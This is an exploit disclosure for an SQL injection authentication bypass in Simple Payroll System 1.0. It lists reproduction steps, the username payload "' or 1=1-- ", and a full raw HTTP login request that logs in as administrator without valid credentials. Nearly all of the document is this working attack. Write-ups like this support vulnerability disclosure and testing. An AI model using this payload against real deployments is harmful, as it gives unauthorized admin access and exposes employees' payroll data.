Simple Payroll System 1.0 - SQL injection Authentication Bypass Vulnerability

# Exploit Title: Simple Payroll System 1.0 - SQLi Authentication Bypass
# Exploit Author: Yash Mahajan
# Vendor Homepage: https://www.sourcecodester.com/php/14974/simple-payroll-system-dynamic-tax-bracket-php-using-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/simple_payroll_0.zip
# Version: 1.0
# Tested on: Windows 10
# Description: Simple Payroll System v1.0 Login page can be bypassed with a SQLi into the username parameter.

Steps To Reproduce:

1 - Navigate to http://localhost/simple_payroll/admin/login.php
2 - Enter the payload into the username field as "' or 1=1-- " without double-quotes and type anything into the password field.
3 - Click on "Login" button and you are logged in as administrator.

Proof Of Concept:

POST /simple_payroll/Actions.php?a=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 37
Origin: http://localhost
Connection: close
Referer: http://localhost/simple_payroll/admin/login.php
Cookie: PHPSESSID=ijad04l4pfb2oec6u2vmi4ll9p
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

username='+or+1%3D1--+&password=admin